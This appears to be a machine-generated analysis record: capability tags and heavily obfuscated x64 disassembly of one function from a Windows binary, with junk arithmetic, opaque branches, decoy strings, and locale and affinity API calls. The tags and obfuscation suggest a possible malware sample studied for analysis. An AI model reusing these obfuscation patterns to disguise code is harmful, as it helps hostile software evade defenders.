Function at 0x140001010
Capabilities:
Authenticate hmac
Encode data using base64
Encode data using xor
Encrypt data using chaskey
Get common file path
Get disk information
Get geographical location
Identify system language via api
Manipulate console buffer
Move file
Parse pe header
Read file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x20158
call fcn.140160020
sub rsp, rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x20050]
call fcn.14015ff80
lea rax, [rsp + 0x69a4]
lea rcx, str.Bread
mov rdi, rax
mov rsi, rcx
mov ecx, 6
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x20000]
lea rcx, str.auriculas
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x20038]
lea rcx, str.Fossilising_Bringing
mov rdi, rax
mov rsi, rcx
mov ecx, 0x15
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x40], 0xdc
mov dword [rsp + 0x3aa0], 0x9121
movabs rax, 0x79982d18b7f858
mov qword [rsp + 0x69b0], rax
mov dword [rsp + 0x3aa4], 0x89f3
mov dword [rsp + 0x3aa8], 0x8128
mov dword [rsp + 0x3aac], 0xd21b
mov dword [rsp + 0x3ab0], 0x14380
mov dword [rsp + 0x3ab4], 0xfbde
movabs rax, 0x725703eccfaebe
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
sub eax, 0x74
mov byte [rsp + 0x40], al
movabs rax, 0x71b206890aab7b
mov rcx, qword [rsp + 0x69b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
mov rax, qword [rsp + 0x69b0]
shr rax, 0x30
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
shl eax, 1
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
xor eax, 0x48
mov byte [rsp + 0x40], al
mov eax, dword [rsp + 0x3aac]
sub eax, 0x93
mov dword [rsp + 0x3aac], eax
movabs rax, 0x76904e6bda5ed4
mov rcx, qword [rsp + 0x69b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
sub eax, 2
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
add eax, 0xba
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
and eax, 0x21
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
sub eax, 0xb9
mov byte [rsp + 0x40], al
movabs rax, 0x78c13ad54c6c0e
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
add eax, 0x31
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
sub eax, 0x9d
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
shl eax, 1
mov byte [rsp + 0x40], al
movabs rax, 0x742263fde67221
mov rcx, qword [rsp + 0x69b0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
or eax, 0xc3
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
sar eax, 1
mov byte [rsp + 0x40], al
movabs rax, 0x73bb957b81fca8
mov rcx, qword [rsp + 0x69b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movabs rax, 0x781c051a2eab83
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
sub eax, 0xd6
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
sub eax, 0xe
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
add eax, 0x6a
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
and eax, 0x3d
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
add eax, 0x70
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
sub eax, 0x48
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
sub eax, 0x25
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
add eax, 0xdf
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
sar eax, 4
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
xor eax, 0x67
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
or eax, 0xf2
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
shl eax, 1
mov byte [rsp + 0x40], al
movabs rax, 0x76a33bca0ec533
mov rcx, qword [rsp + 0x69b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movabs rax, 0x7d021b5ef52d69
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
add eax, 0xc3
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
add eax, 0xa1
mov byte [rsp + 0x40], al
cmp dword [rsp + 0x3aac], 0x9dda
jae 0x1400010f5
movabs rax, 0x7eae0c3839ec0a
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
sub eax, 0xb5
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
and eax, 0x10
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
add eax, 0xcb
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
add eax, 0x53
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
sub eax, 0x99
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
sar eax, 3
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
shl eax, 7
mov byte [rsp + 0x40], al
movabs rax, 0x73423534a48640
mov rcx, qword [rsp + 0x69b0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
or eax, 0x20
mov byte [rsp + 0x40], al
movabs rax, 0x714208616f5ee7
mov rcx, qword [rsp + 0x69b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movabs rax, 0x77badbd639814a
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movabs rax, 0x78aaef34ad1b37
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
add eax, 0xec
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
sub eax, 0xa0
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
add eax, 0xe0
mov byte [rsp + 0x40], al
movabs rax, 0x7d1c99d869546d
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movabs rax, 0x79e88c4c9b3464
mov rcx, qword [rsp + 0x69b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
add eax, 0xc0
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
xor eax, 0x2e
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x69b0]
shr rax, 0x39
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
or eax, 0x74
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x69b0]
shl rax, 0x19
mov qword [rsp + 0x69b0], rax
movabs rax, 0x7eafe83987cb11
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
and eax, 0x64
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
sub eax, 0x24
mov byte [rsp + 0x40], al
movabs rax, 0x7ef345e2e829f9
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
mov eax, dword [rsp + 0x3aa4]
add eax, 0x7d
mov dword [rsp + 0x3aa4], eax
movzx eax, byte [rsp + 0x40]
add eax, 0x49
mov byte [rsp + 0x40], al
movabs rax, 0x706d373bec6f2f
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movabs rax, 0x7b162f36025494
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
cmp dword [rsp + 0x3aa4], 0x979f
jb 0x140001393
movzx eax, byte [rsp + 0x40]
add eax, 0x46
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
add eax, 0x46
mov byte [rsp + 0x40], al
movabs rax, 0x7a677fc75e42cd
mov rcx, qword [rsp + 0x69b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
sar eax, 4
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
xor eax, 0xdf
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
shl eax, 1
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
or eax, 0x76
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
sub eax, 0xb1
mov byte [rsp + 0x40], al
mov eax, dword [rsp + 0x3aa0]
add eax, 0xe1
mov dword [rsp + 0x3aa0], eax
movzx eax, byte [rsp + 0x40]
add eax, 0xd3
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
and eax, 0x31
mov byte [rsp + 0x40], al
movabs rax, 0x763c0e1f11f834
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movabs rax, 0x7a2815cce2db9a
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
add eax, 0x4d
mov byte [rsp + 0x40], al
cmp dword [rsp + 0x3aa0], 0xc33a
jbe 0x140001617
cmp dword [rsp + 0x3aa8], 0xa636
jae 0x140001aaa
movzx eax, byte [rsp + 0x40]
add eax, 0x66
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
sub eax, 0x35
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
add eax, 0xdb
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
sub eax, 0x83
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
sub eax, 0x94
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x69b0]
shl rax, 0x3f
mov qword [rsp + 0x69b0], rax
mov rax, qword [rsp + 0x69b0]
shr rax, 0x2d
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
xor eax, 0xac
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
or eax, 0xd
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
and eax, 0x88
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
add eax, 0xf1
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
add eax, 0x5d
mov byte [rsp + 0x40], al
movabs rax, 0x71ad52b5be41a3
mov rcx, qword [rsp + 0x69b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
sub eax, 0x28
mov byte [rsp + 0x40], al
movabs rax, 0x76630db52a7fa6
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
sub eax, 0x65
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
add eax, 0xb5
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
sub eax, 0x96
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
sar eax, 6
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x69b0]
shl rax, 0x30
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
xor eax, 0x30
mov byte [rsp + 0x40], al
mov eax, dword [rsp + 0x3aa8]
add eax, 0xba
mov dword [rsp + 0x3aa8], eax
movabs rax, 0x751ca1d36378cd
mov rcx, qword [rsp + 0x69b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movabs rax, 0x79f26eb243ae17
mov rcx, qword [rsp + 0x69b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movabs rax, 0x7306d24f053af0
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
add eax, 0xce
mov byte [rsp + 0x40], al
movabs rax, 0x7bf3b4f8cf12f6
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movabs rax, 0x7e920f051f0ca8
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movabs rax, 0x7eb16669f0f10f
mov rcx, qword [rsp + 0x69b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
add eax, 0xb7
mov byte [rsp + 0x40], al
movabs rax, 0x7b4940e2541fa5
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
sub eax, 0xee
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
add eax, 0x5d
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
shl eax, 3
mov byte [rsp + 0x40], al
movabs rax, 0x7473f5f544b195
mov rcx, qword [rsp + 0x69b0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
mov rax, qword [rsp + 0x69b0]
shr rax, 0x2a
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
or eax, 0x61
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
and eax, 0xd
mov byte [rsp + 0x40], al
movabs rax, 0x70c14cddb2fb0e
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x40], al
movabs rax, 0x79531b1305638c
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movabs rax, 0x73151bb4732177
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
sub eax, 0x60
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
and eax, 0x5e
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
add eax, 0x9a
mov byte [rsp + 0x40], al
movabs rax, 0x7b71e1f8ff0028
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
jmp 0x140001718
movabs rax, 0x7b2814407689b1
cmp qword [rsp + 0x69b0], rax
jae 0x140001afc
mov eax, 0x38c
mov word [rsp + 0xc08], ax
mov dword [rsp + 0x3ab8], 0x3489
mov dword [rsp + 0x3abc], 0x60dc
mov dword [rsp + 0x3ac0], 0x2b01
mov byte [rsp + 0x41], 0x39
mov dword [rsp + 0x3ac4], 0x24b9
cmp dword [rsp + 0x3ac4], 0x2b1
jb 0x140001c91
movzx eax, byte [rsp + 0x40]
sub eax, 0x15
mov byte [rsp + 0x40], al
movsx eax, byte [rsp + 0x41]
xor eax, 0x12
mov byte [rsp + 0x41], al
mov rax, qword [rsp + 0x69b0]
shr rax, 0xf
mov qword [rsp + 0x69b0], rax
mov eax, dword [rsp + 0x3abc]
or eax, 0x2782
mov dword [rsp + 0x3abc], eax
movsx eax, byte [rsp + 0x41]
shl eax, 4
mov byte [rsp + 0x41], al
movzx eax, byte [rsp + 0x40]
and eax, 0x78
mov byte [rsp + 0x40], al
movabs rax, 0x7e2b42b2c4ca85
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movabs rax, 0x733d23b1ba1152
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movsx eax, byte [rsp + 0x41]
add eax, 2
mov byte [rsp + 0x41], al
mov eax, dword [rsp + 0x3ac4]
sub eax, 0xc6
mov dword [rsp + 0x3ac4], eax
movabs rax, 0x7589dbf399110c
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movabs rax, 0x7763314d1e572c
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
mov eax, dword [rsp + 0x3abc]
sub eax, 0x63c6
mov dword [rsp + 0x3abc], eax
movzx eax, byte [rsp + 0x40]
and eax, 0x6e
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
add eax, 0x29
mov byte [rsp + 0x40], al
mov eax, dword [rsp + 0x3abc]
xor eax, 0x646c
mov dword [rsp + 0x3abc], eax
mov eax, dword [rsp + 0x3abc]
or eax, 0x3eb0
mov dword [rsp + 0x3abc], eax
movzx eax, byte [rsp + 0x40]
sar eax, 1
mov byte [rsp + 0x40], al
movsx eax, word [rsp + 0xc08]
shl eax, 8
mov word [rsp + 0xc08], ax
movsx eax, byte [rsp + 0x41]
add eax, 0x1b
mov byte [rsp + 0x41], al
movzx eax, byte [rsp + 0x40]
and eax, 0xa6
mov byte [rsp + 0x40], al
jmp 0x140001afc
cmp dword [rsp + 0x3ab0], 0xef84
jb 0x1400020cb
mov eax, dword [rsp + 0x3abc]
sub eax, 0x7eec
mov dword [rsp + 0x3abc], eax
movabs rax, 0x7c2ab5ddf98f9f
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
mov eax, dword [rsp + 0x3ab0]
sub eax, 0xfa
mov dword [rsp + 0x3ab0], eax
movzx eax, byte [rsp + 0x40]
sub eax, 0x30
mov byte [rsp + 0x40], al
movsx eax, byte [rsp + 0x41]
sub eax, 0x2e
mov byte [rsp + 0x41], al
movsx eax, word [rsp + 0xc08]
add eax, 0x102
mov word [rsp + 0xc08], ax
movabs rax, 0x7e0b7a2fa10a3c
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
add eax, 0xbf
mov byte [rsp + 0x40], al
movsx eax, word [rsp + 0xc08]
and eax, 0x694
mov word [rsp + 0xc08], ax
movabs rax, 0x79603c50f46322
mov rcx, qword [rsp + 0x69b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movsx eax, byte [rsp + 0x41]
sar eax, 2
mov byte [rsp + 0x41], al
mov eax, dword [rsp + 0x3abc]
xor eax, 0x2065
mov dword [rsp + 0x3abc], eax
mov rax, qword [rsp + 0x69b0]
shl rax, 0x1c
mov qword [rsp + 0x69b0], rax
movabs rax, 0x74360939dd25e1
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movsx eax, word [rsp + 0xc08]
sub eax, 0x7d9
mov word [rsp + 0xc08], ax
movsx eax, byte [rsp + 0x41]
and eax, 0x75
mov byte [rsp + 0x41], al
movabs rax, 0x7c3e98ca22a932
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
mov eax, dword [rsp + 0x3abc]
add eax, 0x3119
mov dword [rsp + 0x3abc], eax
movzx eax, byte [rsp + 0x40]
add eax, 0xab
mov byte [rsp + 0x40], al
movsx eax, byte [rsp + 0x41]
sub eax, 0x74
mov byte [rsp + 0x41], al
movzx eax, byte [rsp + 0x40]
sub eax, 0xae
mov byte [rsp + 0x40], al
movsx eax, word [rsp + 0xc08]
sub eax, 0x6aa
mov word [rsp + 0xc08], ax
mov eax, dword [rsp + 0x3abc]
add eax, 0x32f8
mov dword [rsp + 0x3abc], eax
movabs rax, 0x7dd4f91d97a166
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movsx eax, word [rsp + 0xc08]
or eax, 0x718
mov word [rsp + 0xc08], ax
movzx eax, byte [rsp + 0x40]
xor eax, 0x37
mov byte [rsp + 0x40], al
movsx eax, word [rsp + 0xc08]
shl eax, 0xc
mov word [rsp + 0xc08], ax
movzx eax, byte [rsp + 0x40]
sar eax, 2
mov byte [rsp + 0x40], al
movabs rax, 0x7910bd6a0034c7
mov rcx, qword [rsp + 0x69b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
mov eax, dword [rsp + 0x3abc]
sub eax, 0x6373
mov dword [rsp + 0x3abc], eax
movabs rax, 0x75ee9b6cc3d69b
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movabs rax, 0x785e906d612852
mov rcx, qword [rsp + 0x69b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movsx eax, word [rsp + 0xc08]
add eax, 0x117
mov word [rsp + 0xc08], ax
movsx eax, byte [rsp + 0x41]
sub eax, 0x78
mov byte [rsp + 0x41], al
movsx eax, word [rsp + 0xc08]
sub eax, 0x79f
mov word [rsp + 0xc08], ax
movabs rax, 0x74c55d89687690
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movabs rax, 0x70f8a43c5cd7cb
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movsx eax, byte [rsp + 0x41]
xor eax, 0x34
mov byte [rsp + 0x41], al
mov eax, dword [rsp + 0x3abc]
shl eax, 0x19
mov dword [rsp + 0x3abc], eax
movsx eax, byte [rsp + 0x41]
or eax, 0x43
mov byte [rsp + 0x41], al
movsx eax, word [rsp + 0xc08]
sar eax, 9
mov word [rsp + 0xc08], ax
movsx eax, byte [rsp + 0x41]
and eax, 0x56
mov byte [rsp + 0x41], al
movabs rax, 0x7b8e6f74f2c1ef
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movabs rax, 0x7a5b5c05096554
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
mov eax, dword [rsp + 0x3abc]
sub eax, 0x48e7
mov dword [rsp + 0x3abc], eax
movsx eax, byte [rsp + 0x41]
add eax, 0x1b
mov byte [rsp + 0x41], al
movsx eax, word [rsp + 0xc08]
and eax, 0x14a
mov word [rsp + 0xc08], ax
movsx eax, byte [rsp + 0x41]
sub eax, 0xe
mov byte [rsp + 0x41], al
movabs rax, 0x72bdfc131fcfab
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
mov eax, dword [rsp + 0x3abc]
sub eax, 0x6de4
mov dword [rsp + 0x3abc], eax
movsx eax, word [rsp + 0xc08]
add eax, 0x4f
mov word [rsp + 0xc08], ax
jmp 0x140001c91
mov eax, dword [section..data]
shl eax, 0xd
mov dword [section..data], eax
movzx eax, byte [rsp + 0x41]
mov byte [rsp + 0x3ac8], al
cmp byte [rsp + 0x3ac8], 0x32
je 0x1400020f2
jmp 0x140002126
movzx eax, byte [rsp + 0x40]
xor eax, 0x2b
mov byte [rsp + 0x40], al
movzx r9d, word [rsp + 0xc08]
mov r8w, 0xed
movzx edx, word [rsp + 0xc08]
mov ecx, dword [rsp + 0x3abc]
call fcn.14015ebc0
nop
jmp 0x14000220a
movzx eax, byte [rsp + 0x41]
mov byte [rsp + 0x3acc], al
cmp byte [rsp + 0x3acc], 7
je 0x1400021df
cmp byte [rsp + 0x3acc], 0x4b
je 0x14000214f
jmp 0x1400021ff
movzx eax, byte [rsp + 0x41]
mov byte [rsp + 0x3ad0], al
cmp byte [rsp + 0x3ad0], 0x7b
je 0x140002167
jmp 0x1400021bd
movabs rax, 0x77a29b8fe1f367
mov rcx, qword [rsp + 0x69b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
mov ecx, 0xa1
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov dword [rsp + 0x3ad4], eax
mov rax, qword [rsp + 0x69b0]
shr rax, 0x1d
mov qword [rsp + 0x69b0], rax
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
mov word [rsp + 0xc0c], ax
jmp 0x1400021dd
mov r9d, 0x36
mov r8d, dword [rsp + 0x3abc]
mov edx, dword [rsp + 0x3abc]
mov ecx, 0xe4
call fcn.14015f140
nop
jmp 0x1400021ff
movabs rax, 0x7735fa48055cf1
mov rcx, qword [rsp + 0x69b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
mov dword [rsp + 0x3ad8], 0xa3bb
mov eax, dword [rsp + 0x3abc]
mov dword [0x14017a4d0], eax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x69b8], rax
movsx eax, word [rsp + 0xc08]
mov dword [rsp + 0x3adc], eax
cmp dword [rsp + 0x3adc], 0x18f
je 0x140002256
cmp dword [rsp + 0x3adc], 0x42d
je 0x14015eaca
jmp 0x14015eb68
movzx eax, word [rsp + 0xc0c]
mov word [rsp + 0xc10], ax
mov dword [rsp + 0x3ae0], 0xc17a
mov dword [rsp + 0x3ae4], 0xbecd
movzx eax, word [rsp + 0xc10]
mov dword [rsp + 0x3ae8], eax
cmp dword [rsp + 0x3ae8], 0xfd
je 0x14000229a
jmp 0x1400022b5
mov rdx, qword [rsp + 0x69b0]
mov rcx, qword [rsp + 0x69b0]
call fcn.14015f630
nop
jmp 0x14015ea69
cmp dword [rsp + 0x3ab4], 0x10e53
jae 0x1400023bc
mov eax, dword [section..data]
sub eax, 0x7b7d
mov dword [section..data], eax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
add eax, 0x56
mov byte [rsp + 0x40], al
movabs rax, 0x774c5ff2aab424
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
or eax, 0xdf
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov eax, dword [rsp + 0x3ab4]
add eax, 0xbd
mov dword [rsp + 0x3ab4], eax
movzx eax, byte [rsp + 0x40]
shl eax, 4
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x40]
sar eax, 7
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
xor eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
movsx eax, word [rsp + 0xc08]
and eax, 0x1b3
mov word [rsp + 0xc08], ax
movsx eax, byte [rsp + 0x41]
add eax, 0x50
mov byte [rsp + 0x41], al
movzx eax, byte [rsp + 0x40]
sub eax, 0x76
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x40]
sub eax, 0x95
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
jmp 0x1400022b5
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
sub eax, 0x97
movzx ecx, byte [rsp + 0x40]
cmp eax, ecx
jl 0x140002452
movabs rax, 0x74b9d46ead91e9
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, word [rsp + 0xc0c]
add eax, 0x6b
movzx ecx, word [rsp + 0xc10]
cmp eax, ecx
jge 0x140002452
movzx eax, byte [rsp + 0x40]
and eax, 0x9c
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov edx, 0x86
mov rcx, qword [rsp + 0x69c0]
call qword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
mov dword [rsp + 0x3aec], eax
mov eax, dword [0x14017a4d0]
mov ecx, dword [rsp + 0x3af0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3abc], eax
mov eax, dword [section..data]
mov dword [rsp + 0x3af4], eax
cmp dword [rsp + 0x3af4], 0x9246
je 0x14000247e
cmp dword [rsp + 0x3af4], 0xe14a
je 0x140002499
jmp 0x14000255c
mov rdx, qword [rsp + 0x69b0]
mov rcx, qword [rsp + 0x69b0]
call fcn.14015f630
nop
jmp 0x14000255c
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
sar eax, cl
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x41]
xor eax, 0x1a
mov byte [rsp + 0x41], al
mov eax, dword [rsp + 0x3af0]
movzx ecx, al
mov eax, dword [0x14017a4d0]
shl eax, cl
cmp eax, dword [rsp + 0x3abc]
jl 0x140002531
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x3af8]
mov rcx, qword [rsp + 0x69c8]
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
